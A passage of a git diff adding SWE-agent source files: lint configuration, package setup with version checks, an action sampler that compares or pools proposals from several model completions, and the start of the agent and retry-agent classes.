"__pypackages__", + "_build", + "buck-out", + "build", + "dist", + "node_modules", + "site-packages", + "venv", + # ---- project specific ---- + "tests/test_data", + # Exclude commands so they don't get the __future__ imports + "config/commands", +] + +line-length = 120 +indent-width = 4 + +target-version = "py310" + +[tool.ruff.lint] +# Enable Pyflakes (`F`) and a subset of the pycodestyle (`E`) codes by default. +# Unlike Flake8, Ruff doesn't enable pycodestyle warnings (`W`) or +# McCabe complexity (`C901`) by default. +# I001: Isort, I002: required import +select = [ + # Error (E) + "E", + # Error (PLE) + "PLE", + # pycodestyle + "E713", # not in + "E714", # is not + "E711", # comparison with None + # pyflakes + "F821", + "F822", + "F401", # unused-import + "F841", # unused var + "F541", # f-string without args + "F901", # raise NotImplemented should be raise NotImplementedError + # isort + "I001", # isort + "I002", # required import + # pyupgrade and related + "UP", # pyupgrade + "C401", # flake8-comprehensions: unnecessary-generator-set + "C402", # flake8-comprehensions: unnecessary-generator-dict + "C403", # flake8-comprehensions: unnecessary-list-comprehension-set + "C404", # flake8-comprehensions: unnecessary-list-comprehension-dict + "C405", # flake8-comprehensions: unnecessary-literal-set + "F632", # pyflakes: is-literal + "W605", # pycodestyle: invalid-escape-sequence + # bugbear + "B006", # mutable default + "B007", # unused loop var + "B009", # getattr with constant + # flake8-errmsg + "EM", + # flake8-future-annotations + "FA102", + # flake8-return + "RET", + # RUF + "RUF019", # unneded key in dict check + # pytest + "PT", + # flake8-simplify (SIM) + "SIM201", + # flake8-use-pathlib + "PTH100", + "PTH110", + "PTH111", + "PTH112", + "PTH113", + "PTH114", + "PTH117", + "PTH118", + "PTH119", + "PTH120", + "PTH121", + "PTH122", + "PTH202", + "PTH203", + "PTH204", + "PTH205", +] +ignore = [ + # flake8-return + "RET505", # can't autofix + "RET506", # can't autofix + "RET507", # can't autofix + # error (E) + "E501", # line too long + "E402", # import not on top of file + "E722", # bare except + "E741", # ambiguous symbol + # pytest + "PT011", + "PT018", +] + +# Allow fix for all enabled rules (when `--fix`) is provided. +fixable = ["ALL"] +unfixable = [] + +# Allow unused variables when underscore-prefixed. +dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" + +[tool.ruff.format] +# Like Black, use double quotes for strings. +quote-style = "double" + +# Like Black, indent with spaces, rather than tabs. +indent-style = "space" + +# Like Black, respect magic trailing commas. +skip-magic-trailing-comma = false + +# Like Black, automatically detect the appropriate line ending. +line-ending = "auto" + +[tool.typos.default.extend-identifiers] +# *sigh* this just isn't worth the cost of fixing +ACI = "ACI" + +[tool.typos.default.extend-words] +# Don't correct the surname "Teh" +aci = "aci" +ba = "ba" + +[tool.ruff.lint.isort] +# required-imports = ["from __future__ import annotations"] diff --git a/sweagent/__init__.py b/sweagent/__init__.py new file mode 100644 index 0000000..5ca2f16 --- /dev/null +++ b/sweagent/__init__.py @@ -0,0 +1,114 @@ +from __future__ import annotations + +import os +import sys +from functools import partial +from logging import WARNING, getLogger +from pathlib import Path + +import swerex.utils.log as log_swerex +from git import Repo +from packaging import version + +from sweagent.utils.log import get_logger + +__version__ = "1.1.0" +PYTHON_MINIMUM_VERSION = (3, 11) +SWEREX_MINIMUM_VERSION = "1.2.0" +SWEREX_RECOMMENDED_VERSION = "1.2.1" + +# Monkey patch the logger to use our implementation +log_swerex.get_logger = partial(get_logger, emoji="🦖") + +# See https://github.com/SWE-agent/SWE-agent/issues/585 +getLogger("datasets").setLevel(WARNING) +getLogger("numexpr.utils").setLevel(WARNING) +getLogger("LiteLLM").setLevel(WARNING) + +PACKAGE_DIR = Path(__file__).resolve().parent + +if sys.version_info < PYTHON_MINIMUM_VERSION: + msg = ( + f"Python {sys.version_info.major}.{sys.version_info.minor} is not supported. " + "SWE-agent requires Python 3.11 or higher." + ) + raise RuntimeError(msg) + +assert PACKAGE_DIR.is_dir(), PACKAGE_DIR +REPO_ROOT = PACKAGE_DIR.parent +assert REPO_ROOT.is_dir(), REPO_ROOT +CONFIG_DIR = Path(os.getenv("SWE_AGENT_CONFIG_DIR", PACKAGE_DIR.parent / "config")) +assert CONFIG_DIR.is_dir(), CONFIG_DIR + +TOOLS_DIR = Path(os.getenv("SWE_AGENT_TOOLS_DIR", PACKAGE_DIR.parent / "tools")) +assert TOOLS_DIR.is_dir(), TOOLS_DIR + +TRAJECTORY_DIR = Path(os.getenv("SWE_AGENT_TRAJECTORY_DIR", PACKAGE_DIR.parent / "trajectories")) +assert TRAJECTORY_DIR.is_dir(), TRAJECTORY_DIR + + +def get_agent_commit_hash() -> str: + """Get the commit hash of the current SWE-agent commit. + + If we cannot get the hash, we return an empty string. + """ + try: + repo = Repo(REPO_ROOT, search_parent_directories=False) + except Exception: + return "unavailable" + return repo.head.object.hexsha + + +def get_rex_commit_hash() -> str: + import swerex + + try: + repo = Repo(Path(swerex.__file__).resolve().parent.parent.parent, search_parent_directories=False) + except Exception: + return "unavailable" + return repo.head.object.hexsha + + +def get_rex_version() -> str: + from swerex import __version__ as rex_version + + return rex_version + + +def get_agent_version_info() -> str: + hash = get_agent_commit_hash() + rex_hash = get_rex_commit_hash() + rex_version = get_rex_version() + return f"This is SWE-agent version {__version__} ({hash=}) with SWE-ReX version {rex_version} ({rex_hash=})." + + +def impose_rex_lower_bound() -> None: + rex_version = get_rex_version() + minimal_rex_version = "1.2.0" + if version.parse(rex_version) < version.parse(minimal_rex_version): + msg = ( + f"SWE-ReX version {rex_version} is too old. Please update to at least {minimal_rex_version} by " + "running `pip install --upgrade swe-rex`." + "You can also rerun `pip install -e .` in this repository to install the latest version." + ) + raise RuntimeError(msg) + if version.parse(rex_version) < version.parse(SWEREX_RECOMMENDED_VERSION): + msg = ( + f"SWE-ReX version {rex_version} is not recommended. Please update to at least {SWEREX_RECOMMENDED_VERSION} by " + "running `pip install --upgrade swe-rex`." + "You can also rerun `pip install -e .` in this repository to install the latest version." + ) + get_logger("swe-agent", emoji="👋").warning(msg) + + +impose_rex_lower_bound() +get_logger("swe-agent", emoji="👋").info(get_agent_version_info()) + + +__all__ = [ + "PACKAGE_DIR", + "CONFIG_DIR", + "get_agent_commit_hash", + "get_agent_version_info", + "__version__", +] diff --git a/sweagent/__main__.py b/sweagent/__main__.py new file mode 100644 index 0000000..57dedfa --- /dev/null +++ b/sweagent/__main__.py @@ -0,0 +1,4 @@ +from sweagent.run.run import main + +if __name__ == "__main__": + main() diff --git a/sweagent/agent/__init__.py b/sweagent/agent/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/agent/action_sampler.py b/sweagent/agent/action_sampler.py new file mode 100644 index 0000000..61f1c8a --- /dev/null +++ b/sweagent/agent/action_sampler.py @@ -0,0 +1,317 @@ +from abc import abstractmethod +from textwrap import dedent +from typing import Any, Literal + +from jinja2 import Template +from pydantic import BaseModel + +from sweagent.agent.models import AbstractModel +from sweagent.agent.problem_statement import ProblemStatement +from sweagent.exceptions import FormatError +from sweagent.tools.tools import ToolHandler +from sweagent.types import Trajectory +from sweagent.utils.log import get_logger + + +class ActionSamplerOutput(BaseModel): + completion: dict[str, Any] + messages: list[dict[str, Any]] = [] + trajectory_items: list[dict[str, Any]] = [] + extra_info: dict[str, Any] = {} + + +class AbstractActionSampler: + def __init__(self, model: AbstractModel, tools: ToolHandler): + self._model = model + self._tools = tools + self._logger = get_logger("action_sampler", emoji="👥") + + @abstractmethod + def get_action( + self, + problem_statement: ProblemStatement, + trajectory: Trajectory, + history: list[dict[str, Any]], + ) -> ActionSamplerOutput: + """Returns action with tool calls""" + pass + + +class AskColleaguesConfig(BaseModel): + type: Literal["ask_colleagues"] = "ask_colleagues" + + n_samples: int = 2 + + def get(self, model: AbstractModel, tools: ToolHandler) -> "AskColleagues": + return AskColleagues(self, model, tools) + + +class AskColleagues(AbstractActionSampler): + def __init__(self, config: AskColleaguesConfig, model: AbstractModel, tools: ToolHandler): + super().__init__(model, tools) + self.config = config + + def get_colleague_discussion(self, completions: list[dict[str, Any]]) -> str: + """Concat all completions into a single string""" + out = "Your colleagues had the following ideas: \n\n" + n_parsed_ok = 0 + for i, completion in enumerate(completions): + try: + thought, action = self._tools.parse_actions(completion) + except FormatError: + self._logger.warning("Could not parse completion %s, skipping.", completion) + continue + n_parsed_ok += 1 + out += f"Thought (colleague {i}): {thought}\nProposed Action (colleague {i}): {action}\n\n" + if n_parsed_ok == 0: + msg = "No completions could be parsed." + raise FormatError(msg) + out += ( + "Please summarize and compare the ideas and propose and action to take. " + "Finally choose one action to perform and explain it in detail and include it as a tool call. " + "You must include a thought and action (as a tool/function call). Do not try to invoke commands with triple backticks, use function calls instead." + ) + return out + + def get_action( + self, + problem_statement: ProblemStatement, + trajectory: Trajectory, + history: list[dict[str, Any]], + ) -> ActionSamplerOutput: + """Returns action with tool calls""" + completions = self._model.query(history, n=self.config.n_samples) # type: ignore + discussion = self.get_colleague_discussion(completions) + self._logger.info(f"COLLEAGUE DISCUSSION:\n{discussion}") + new_messages = [ + {"role": "user", "content": discussion}, + ] + final_completion = self._model.query(history + new_messages) # type: ignore + return ActionSamplerOutput( + completion=final_completion, + extra_info={"colleagues": discussion}, + ) + + +class BinaryTrajectoryComparisonConfig(BaseModel): + type: Literal["binary_trajectory_comparison"] = "binary_trajectory_comparison" + + min_n_samples: int = 4 + max_n_samples: int = 10 + + comparison_temperature: float | None = None + """Override the model's temperature. If None, take the temperature configured for the model.""" + + system_template: str = """You are an expert software engineer overseeing junior developers. They suggest actions to take to solve a problem. You must choose the best action to take. """ + instance_template: str = dedent(""" + We're solving the following problem + + + {{problem_statement}} + + + So far, we've performed the following actions: + + + {{traj}} + + """) + + comparison_template: str = dedent(""" + Two junior developers suggested the following actions: + + + {{thought1}} + + + + {{action1}} + + + + {{thought2}} + + + + {{action2}} + + + Please compare the two actions in detail. + + Which action should we take? + + If you think the first action is better, respond with "first". + If you think the second action is better, respond with "second". + + The last line of your response MUST be "first" or "second". + """) + + def get(self, model: AbstractModel, tools: ToolHandler) -> "BinaryTrajectoryComparison": + return BinaryTrajectoryComparison(self, model, tools) + + +class BinaryTrajectoryComparison(AbstractActionSampler): + def __init__(self, config: BinaryTrajectoryComparisonConfig, model: AbstractModel, tools: ToolHandler): + super().__init__(model, tools) + self.config = config + + def _format_trajectory(self, trajectory: Trajectory) -> str: + steps = [] + for i, step in enumerate(trajectory): + steps.append(f"Action {i}: {step['action']}\n Observation {i}: {step['observation']}") + return "\n".join(steps) + + def format_messages( + self, + *, + problem_statement: ProblemStatement, + trajectory: Trajectory, + thought1: str, + action1: str, + thought2: str, + action2: str, + use_cache_control: bool = False, + ) -> list[dict]: + system_message = self.config.system_template + self._logger.debug(f"MODEL INPUT (system)\n{system_message}") + ps_format_dict = { + "problem_statement": problem_statement.get_problem_statement(), + **problem_statement.get_extra_fields(), + } + user_message = Template(self.config.instance_template).render( + **ps_format_dict, + traj=self._format_trajectory(trajectory), + ) + self._logger.debug(f"MODEL INPUT (instance)\n{user_message}") + comparison_message = Template(self.config.comparison_template).render( + thought1=thought1, + action1=action1, + thought2=thought2, + action2=action2, + ) + self._logger.debug(f"MODEL INPUT (comparison)\n{comparison_message}") + cache_control_kwargs = {"cache_control": {"type": "ephemeral"}} if use_cache_control else {} + return [ + {"role": "system", "content": system_message}, + { + "role": "user", + "content": [{"type": "text", "text": user_message, **cache_control_kwargs}], + }, + { + "role": "user", + "content": [ + { + "type": "text", + "text": comparison_message, + } + ], + }, + ] + + def filter_duplicates(self, completions: list[dict[str, Any]]) -> list[dict[str, Any]]: + """Filter out duplicate actions""" + thoughts: list[str] = [] + actions: list[str] = [] + filtered_completions: list[dict[str, Any]] = [] + for pc in completions: + thought, action = self._tools.parse_actions(pc) + if action not in actions: + thoughts.append(thought) + actions.append(action) + filtered_completions.append(pc) + + if len(filtered_completions) < len(completions): + self._logger.debug("Filtering duplicates: %d -> %d", len(completions), len(filtered_completions)) + + return filtered_completions + + def filter_parseable_completions(self, completions: list[dict[str, Any]]) -> list[dict[str, Any]]: + filtered_completions = [] + for completion in completions: + try: + self._tools.parse_actions(completion) + except FormatError: + self._logger.warning("Could not parse completion %s, skipping.", completion) + continue + filtered_completions.append(completion) + if len(filtered_completions) == 0: + msg = "No completions could be parsed." + raise FormatError(msg) + return filtered_completions + + def contains_edits(self, completions: list[dict[str, Any]]) -> bool: + keywords = ["edit", "str_replace_editor insert", "str_replace_editor str_replace"] + for completion in completions: + _, action = self._tools.parse_actions(completion) + if any(action.startswith(keyword) for keyword in keywords): + return True + return False + + def get_completions(self, history: list[dict[str, Any]]) -> list[dict[str, Any]]: + completions = self._model.query(history, n=self.config.min_n_samples) # type: ignore + completions = self.filter_parseable_completions(completions) + completions = self.filter_duplicates(completions) + if not completions: + msg = "No completions could be parsed." + raise FormatError(msg) + if self.contains_edits(completions) and self.config.min_n_samples < self.config.max_n_samples: + self._logger.debug("Edits were proposed, will sample more") + new_completions = self._model.query(history, n=self.config.max_n_samples - self.config.min_n_samples) # type: ignore + completions = self.filter_duplicates(self.filter_parseable_completions(completions + new_completions)) + if len(completions) == 1: + _, action = self._tools.parse_actions(completions[0]) + self._logger.warning("Only identical actions were proposed (action=%s)", action) + return completions + + def get_action( + self, + *, + problem_statement: ProblemStatement, + trajectory: Trajectory, + history: list[dict[str, Any]], + ) -> ActionSamplerOutput: + completions = self.get_completions(history) + best_idx = 0 + comparison_log = [] + for i in range(1, len(completions)): + thought1, action1 = self._tools.parse_actions(completions[best_idx]) + thought2, action2 = self._tools.parse_actions(completions[i]) + messages = self.format_messages( + problem_statement=problem_statement, + trajectory=trajectory, + thought1=thought1, + action1=action1, + thought2=thought2, + action2=action2, + use_cache_control=len(completions) >= 3, + ) + response = self._model.query(messages, temperature=self.config.comparison_temperature)["message"] # type: ignore + self._logger.info(f"RESPONSE: {response}") + idx = self.interpret(response) + comparison_log.append( + { + "comparison_between": (best_idx, i), + "messages": messages, + "response": response, + "idx": idx, + } + ) + best_idx = i if idx == 1 else best_idx + + return ActionSamplerOutput( + completion=completions[best_idx], + extra_info={"comparison_log": comparison_log}, + ) + + def interpret(self, response: str) -> Literal[0, 1]: + """Interpret response from LM. Note: 1-based indexing""" + last_line = response.strip().split("\n")[-1].strip() + if "first" in last_line.lower(): + return 0 + elif "second" in last_line.lower(): + return 1 + self._logger.warning("Could not interpret response: %s, will choose first submission.", response) + return 0 + + +ActionSamplerConfig = BinaryTrajectoryComparisonConfig | AskColleaguesConfig diff --git a/sweagent/agent/agents.py b/sweagent/agent/agents.py new file mode 100644 index 0000000..4844aeb --- /dev/null +++ b/sweagent/agent/agents.py @@ -0,0 +1,1294 @@ +from __future__ import annotations + +import asyncio +import copy +import json +import logging +import time +from pathlib import Path, PurePosixPath +from typing import Annotated, Any, Literal + +import yaml +from jinja2 import Template +from pydantic import BaseModel, ConfigDict, Field, model_validator +from simple_parsing.helpers.fields import field +from swerex.exceptions import BashIncorrectSyntaxError, CommandTimeoutError, SwerexException +from tenacity import RetryError +from typing_extensions import Self +from unidiff import UnidiffParseError + +from sweagent import __version__, get_agent_commit_hash, get_rex_commit_hash, get_rex_version +from sweagent.agent.action_sampler import AbstractActionSampler, ActionSamplerConfig +from sweagent.agent.history_processors import DefaultHistoryProcessor, HistoryProcessor +from sweagent.agent.hooks.abstract import AbstractAgentHook, CombinedAgentHook +from sweagent.agent.models import ( + AbstractModel, + HumanModel, + HumanThoughtModel, + InstanceStats, + ModelConfig, + get_model, +) +from sweagent.agent.problem_statement import ProblemStatement, ProblemStatementConfig +from sweagent.agent.reviewer import ( + ChooserRetryLoop, + RetryLoopConfig, + ReviewSubmission, + ScoreRetryLoop, + get_retry_loop_from_config, +) +from sweagent.environment.swe_env import SWEEnv +from sweagent.exceptions import ( + ContentPolicyViolationError, + ContextWindowExceededError, + CostLimitExceededError, + FormatError, + TotalCostLimitExceededError, +) +from sweagent.tools.parsing import ( + ActionOnlyParser, + ThoughtActionParser, +) +from sweagent.tools.tools import ToolConfig, ToolHandler +from sweagent.types import AgentInfo, AgentRunResult, StepOutput, Trajectory, TrajectoryStep +from sweagent.utils.config import _convert_paths_to_abspath, _strip_abspath_from_dict +from sweagent.utils.jinja_warnings import _warn_probably_wrong_jinja_syntax +from sweagent.utils.log import get_logger +from sweagent.utils.patch_formatter import PatchFormatter + + +class TemplateConfig(BaseModel): + """This configuration is used to define almost all message templates that are + formatted by the agent and sent to the LM. + """ + + system_template: str = "" + instance_template: str = "" + next_step_template: str = "Observation: {{observation}}" + + next_step_truncated_observation_template: str = ( + "Observation: {{observation[:max_observation_length]}}" + "Observations should not exceeded {{max_observation_length}} characters. " + "{{elided_chars}} characters were elided. Please try a different command that produces less output " + "or use head/tail/grep/redirect the output to a file. Do not use interactive pagers." + ) + """Message template for when the agent's observation was truncated. + Available variables: `observation`, `max_observation_length`, `elided_chars` + """ + + max_observation_length: int = 100_000 + """Truncate observation to this length if it exceeds it. + This in measured in characters, i.e., as `len(observation)`. + """ + + next_step_no_output_template: str = None # type: ignore + """Template for the next step when the last output was empty. Defaults to next_step_template.""" + + strategy_template: str | None = None + demonstration_template: str | None = None + + demonstrations: list[Path] = field(default_factory=list) + """Paths to demonstrations. If path is not absolute, it is assumed to be + relative to the SWE_AGENT_CONFIG_ROOT (if set) or the SWE-agent repository root + """ + + put_demos_in_history: bool = False + """If True, add demonstration to history instead of as a single message""" + + disable_image_processing: bool = False + """If True, disable image processing for multimodal problem statements (i.e. SWEBenchMultimodalProblemStatement). + """ + + shell_check_error_template: str = ( + "Your bash command contained syntax errors and was NOT executed. " + "Please fix the syntax errors and try again. This can be the result " + "of not adhering to the syntax for multi-line commands. Here is the output of `bash -n`:\n" + "{{bash_stdout}}\n{{bash_stderr}}" + ) + """Message template for when the agent's bash command contains syntax errors. + Available variables: `bash_stdout`, `bash_stderr` + """ + + command_cancelled_timeout_template: str = ( + "The command '{{command}}' was cancelled because it took more than {{timeout}} seconds. " + "Please try a different command that completes more quickly. " + "Note: A common source of this error is if the command is interactive or requires user input " + "(it is impossible to receive user input in the current environment, so the command will never complete)." + ) + """Message template for when the agent's command was cancelled because it took too long. + Available variables: `timeout`, `command` + """ + + def model_post_init(self, __context): + self.demonstrations = _convert_paths_to_abspath(self.demonstrations) + if self.next_step_no_output_template is None: + self.next_step_no_output_template = self.next_step_template + + @model_validator(mode="after") + def validate_template_jinja_syntax(self) -> Self: + template_fields = [field for field in self.model_fields.keys() if field.endswith("_template")] + for field in template_fields: + value = getattr(self, field) + _warn_probably_wrong_jinja_syntax(value) + return self + + @model_validator(mode="after") + def warnings(self) -> Self: + logger = get_logger("swea-config", emoji="🔧") + if self.put_demos_in_history and self.demonstration_template is not None: + logger.warning("demonstration_template is ignored when put_demos_in_history is True") + if not self.system_template or not self.instance_template: + logger.warning( + "system_template/instance_template is not set, using empty string. Perhaps you were" + " overwriting the default config? See https://swe-agent.com/latest/usage/cl_tutorial/" + " for more information. Note: You can ignore this warning in human mode." + ) + return self + + +class DefaultAgentConfig(BaseModel): + """This configuration object specifies the behavior of an agent.""" + + name: str = "main" + templates: TemplateConfig = Field(default_factory=TemplateConfig) + tools: ToolConfig = Field(default_factory=ToolConfig) + history_processors: list[HistoryProcessor] = Field(default_factory=lambda: [DefaultHistoryProcessor()]) + model: ModelConfig = Field(description="Model options.") + + max_requeries: int = 3 + """Maximum number of times to requery the model after an error, such as a + formatting error, a blocked action, or a bash syntax error. + """ + action_sampler: ActionSamplerConfig | None = None + + type: Literal["default"] = "default" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + +class ShellAgentConfig(BaseModel): + name: str = "main" + templates: TemplateConfig = Field(default_factory=TemplateConfig) + tools: ToolConfig = Field(default_factory=ToolConfig) + history_processors: list[HistoryProcessor] = Field(default_factory=lambda: [DefaultHistoryProcessor()]) + model: ModelConfig = Field(description="Model options.") + + max_requeries: int = 3 + """Maximum number of times to requery the model after an error, such as a + formatting error, a blocked action, or a bash syntax error. + """ + + type: Literal["shell"] = "shell" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + +class RetryAgentConfig(BaseModel): + name: str = "retry_main" + agent_configs: list[DefaultAgentConfig] + retry_loop: RetryLoopConfig + type: Literal["retry"] = "retry" + model_config = ConfigDict(extra="forbid") + + +AgentConfig = Annotated[DefaultAgentConfig | RetryAgentConfig | ShellAgentConfig, Field(union_mode="left_to_right")] + + +class _BlockedActionError(Exception): + """Raised when the agent's action is blocked""" + + +class _RetryWithOutput(Exception): + """Used for internal control flow""" + + +class _RetryWithoutOutput(Exception): + """Used for internal control flow""" + + +class _ExitForfeit(Exception): + """Used for internal control flow""" + + +class _TotalExecutionTimeExceeded(Exception): + """Used for internal control flow""" + + +RETRY_WITH_OUTPUT_TOKEN = "###SWE-AGENT-RETRY-WITH-OUTPUT###" +RETRY_WITHOUT_OUTPUT_TOKEN = "###SWE-AGENT-RETRY-WITHOUT-OUTPUT###" +EXIT_FORFEIT_TOKEN = "###SWE-AGENT-EXIT-FORFEIT###" + + +class AbstractAgent: + def __init__(self, *args, **kwargs): + model: AbstractModel + replay_config: BaseModel | None + logger: logging.Logger + + @classmethod + def from_config(cls, config: AgentConfig) -> Self: ... + + def add_hook(self, hook: AbstractAgentHook) -> None: ... + + def get_trajectory_data(self) -> dict[str, Any]: ... + + def step(self) -> StepOutput: ... + + def run(self, *args, **kwargs) -> AgentRunResult: ... + + +def get_agent_from_config(config: AgentConfig) -> AbstractAgent: + if config.type == "default": + return DefaultAgent.from_config(config) + elif config.type == "retry": + return RetryAgent.from_config(config) + elif config.type == "shell": + # Need to defer import to avoid circular dependency + from sweagent.agent.extra.shell_agent import ShellAgent + + return ShellAgent.from_config(config) + else: + msg = f"Unknown agent type: {config.type}" + raise ValueError(msg) + + +class RetryAgent(AbstractAgent): + def __init__(self, config: RetryAgentConfig): + # Always copy config to avoid shared state between different instances + self.config = config.model_copy(deep=True) + self._hooks = [] + self._i_attempt = 0 + self.logger = get_logger("swea-agent", emoji="🤠") + self._agent: DefaultAgent | None = None + self._attempt_data: list[dict[str, Any]] = [] + self._total_instance_attempt_stats = InstanceStats() + """Note that total_instance_attempt_stats only accumulates the states of the sub-agent, + not the reviewer. Use self._total_instance_stats for the total stats. + """ + self._chook = CombinedAgentHook() + self._traj_path: Path | None = None + self._problem_statement: ProblemStatement | None = None + self._env: SWEEnv | None = None + self._output_dir: Path | None = None + self._rloop: ScoreRetryLoop | ChooserRetryLoop | None = None + + @property + def _total_instance_stats(self) -> InstanceStats: + assert self._rloop is not None + return self._total_instance_attempt_stats + self._rloop.review_model_stats + + @classmethod + def from_config(cls, config: RetryAgentConfig) -> Self: + return cls(config) + + def add_hook(self, hook: AbstractAgentHook) -> None: + self._chook.add_hook(hook) + self._hooks.append(hook) + + def setup( + self, env: SWEEnv, problem_statement: ProblemStatement | ProblemStatementConfig, output_dir: Path = Path(".") + ) -> None: + """Setup the retry agent for a new problem instance. + This is mostly a bookkeeping step. + """ + self._total_instance_attempt_stats = InstanceStats() + self._problem_statement = problem_statement + self._traj_path = output_dir / (self._problem_statement.id + ".traj") + self._env = env + self._output_dir = output_dir + self._rloop = get_retry_loop_from_config(self.config.retry_loop, problem_statement=problem_statement) + + def _setup_agent(self) -> AbstractAgent: + """Setup the agent for the current attempt.""" + # todo: Could select "best" agent config based on previous attempts if I run > number of set up configs + agent_config = self.config.agent_configs[self._i_attempt % len(self.config.agent_configs)].model_copy(deep=True) + remaining_budget = self.config.retry_loop.cost_limit - self._total_instance_stats.instance_cost + if remaining_budget < agent_config.model.per_instance_cost_limit: + self.logger.debug("Setting agent per-attempt cost limit to remaining budget: %s", remaining_budget) + agent_config.model.per_instance_cost_limit = remaining_budget + self._agent = DefaultAgent.from_config(agent_config) + for hook in self._hooks: + self._agent.add_hook(hook) + assert self._output_dir is not None + sub_agent_output_dir = self._output_dir / f"attempt_{self._i_attempt}" + assert self._problem_statement is not None + assert self._env is not None + self._agent.setup(env=self._env, problem_statement=self._problem_statement, output_dir=sub_agent_output_dir) + return self._agent + + def _next_attempt(self) -> None: + """Prepare for the next attempt: Reset the environment and setup the next agent.""" + assert self._env is not None + self._i_attempt += 1 + self._env.hard_reset() + self._setup_agent() + + def step(self) -> StepOutput: + """Step the agent of the current attempt. + Attempt autosubmit if an error occurs (though all errors should already be handled by the attempt agent). + """ + assert self._agent is not None + # Failsafe cost check, this should not actually happen, because the sub-agent should have already been + # initialized with the correct cost limit to not exceed the total cost limit. Using factor of 1.1, because + # sub-agent might only catch the cost limit after attempting. + if self._total_instance_stats.instance_cost > 1.1 * self.config.retry_loop.cost_limit > 0: + msg = "Total instance cost exceeded cost limit. This should not happen, please report this. Triggering autosubmit." + self.logger.critical(msg) + return self._agent.attempt_autosubmission_after_error(step=StepOutput()) + try: + step = self._agent.step() + except TotalCostLimitExceededError: + # Need to make sure that this error causes everything to stop + raise + except Exception as e: + msg = "Error in agent step: %s. This really shouldn't happen, please report this. Triggering autosubmit." + self.logger.critical(msg, e, exc_info=True) + step = self._agent.attempt_autosubmission_after_error(step=StepOutput()) + return step + + def _finalize_agent_run(self) -> None: + """Add the agent results to our list of results""" + assert self._agent is not None + self._agent.save_trajectory() + self._attempt_data.append(self._agent.get_trajectory_data()) + self._total_instance_attempt_stats += self._agent.model.stats + + def get_trajectory_data(self, choose: bool) -> dict[str, Any]: + """Get all data that we save in .traj files.""" + assert self._rloop is not None + + data = { + "attempts": self._attempt_data, + } + + if choose: + try: + best_attempt_idx = self._rloop.get_best() + except TotalCostLimitExceededError: + raise + except Exception as e: + self.logger.critical(f"Error getting best attempt index: {e}. Setting to 0.", exc_info=True) + best_attempt_idx = 0 + data |= copy.deepcopy(self._attempt_data[best_attempt_idx]) # type: ignore + data["info"]["best_attempt_idx"] = best_attempt_idx + data["info"]["rloop_model_stats"] = self._rloop.review_model_stats.model_dump() + # Overwrite model stats with total stats + data["info"]["model_stats"] = self._total_instance_stats.model_dump() + if isinstance(self._rloop, ChooserRetryLoop): + data["info"]["chooser"] = ( + self._rloop._chooser_output.model_dump() if self._rloop._chooser_output else {} + ) + return data + + def save_trajectory(self, choose: bool) -> None: + data = self.get_trajectory_data(choose=choose) + assert self._traj_path is not None + self._traj_path.write_text(json.dumps(data, indent=2)) + + def run( + self, + env: SWEEnv, + problem_statement: ProblemStatement | ProblemStatementConfig, + output_dir: Path = Path("."), + ) -> AgentRunResult: + """Run the agent on a problem instance. This method contains the + main loop that repeatedly calls `self._step` until the problem is solved. + + Args: + env: The environment to run the agent on. + problem_statement: The problem statement to run the agent on. + output_dir: Directory to save the trajectory to + """ + output_dir.mkdir(parents=True, exist_ok=True) + self.setup(env=env, problem_statement=problem_statement, output_dir=output_dir) + assert self._rloop is not None + + # Run action/observation loop + self._chook.on_run_start() + step_output = StepOutput() + self._setup_agent() + assert self._agent is not None + while not step_output.done: + step_output = self.step() + self.save_trajectory(choose=False) + if step_output.done: + self._rloop.on_submit( + ReviewSubmission( + trajectory=self._agent.trajectory, + info=self._agent.info, + model_stats=self._agent.model.stats, + ) + ) + if isinstance(self._rloop, ScoreRetryLoop): + self._agent.info["review"] = self._rloop.reviews[-1].model_dump() # type: ignore + self._finalize_agent_run() + self.save_trajectory(choose=False) + if self._rloop.retry(): + assert self._env is not None + self._next_attempt() + step_output.done = False + self.save_trajectory(choose=True) # call again after we finalized + self._chook.on_run_done(trajectory=self._agent.trajectory, info=self._agent.info) + + self.logger.info("Trajectory saved to %s", self._traj_path) + + # Here we want to return the "global" information (e.g., submission should + # be the best submission instead of the last one, etc.), so we get it from the traj file + data = self.get_trajectory_data(choose=True) + return AgentRunResult(info=data["info"], trajectory=data["trajectory"]) + + +class DefaultAgent(AbstractAgent): + def __init__( + self, + *, + templates: TemplateConfig, + tools: ToolHandler, + history_processors: list[HistoryProcessor], + model: AbstractModel, + max_requeries: int = 3, + name: str = "main", + _catch_errors: bool = True, + _always_require_zero_exit_code: bool = False, + action_sampler_config: ActionSamplerConfig | None = None, + ): + """The agent handles the behaviour of the model and how it interacts with the environment. + + To run the agent, either call `self.run` or `self.setup` and then `self.step` in a loop. + """ + self._catch_errors = _catch_errors + self._always_require_zero_exit_code = _always_require_zero_exit_code + self.name = name + self.model = model + self.templates = templates + self.tools = tools + if isinstance(self.model, HumanThoughtModel): + self.tools.config.parse_function = ThoughtActionParser() + elif isinstance(self.model, HumanModel): + self.tools.config.parse_function = ActionOnlyParser() + self.history_processors = history_processors + self.max_requeries = max_requeries + self.logger = get_logger("swea-agent", emoji="🤠") + # Set in run method + self._env: SWEEnv | None = None + self._problem_statement: ProblemStatement | ProblemStatementConfig | None = None + self.traj_path: Path | None = None + + #: The following three attributes collect the information about how the agent + #: solved the problem. + self.history = [] + self._trajectory = [] + self.info = AgentInfo() + + self._chook = CombinedAgentHook() + + self._replay_config: BaseModel | None = None + """This can be set to a RunSingleConfig from the Run instance whenever possible. + It can be used to replay the agent's trajectory in an environment. + """ + + self._action_sampler: AbstractActionSampler | None = None + if action_sampler_config is not None: + self._action_sampler = action_sampler_config.get(self.model, self.tools) + + #: Count how many timeout errors have occurred consecutively. Kills agent + #: after 5 of them. + self._n_consecutive_timeouts = 0 + self._total_execution_time = 0.0 + + @classmethod + def from_config(cls, config: DefaultAgentConfig) -> Self: + # To ensure that all models stay completely independent, we deepcopy the + # model config, because it lives on as a property in the model, tools, etc. + config = config.model_copy(deep=True) + model = get_model(config.model, config.tools) + return cls( + templates=config.templates, + tools=ToolHandler(config.tools), + history_processors=config.history_processors, + model=model, + max_requeries=config.max_requeries, + action_sampler_config=config.action_sampler, + ) + + def add_hook(self, hook: AbstractAgentHook) -> None: + """Add hook to agent""" + hook.on_init(agent=self) + self._chook.add_hook(hook) + + # Properties + # ---------- + + @property + def trajectory(self) -> Trajectory: + return 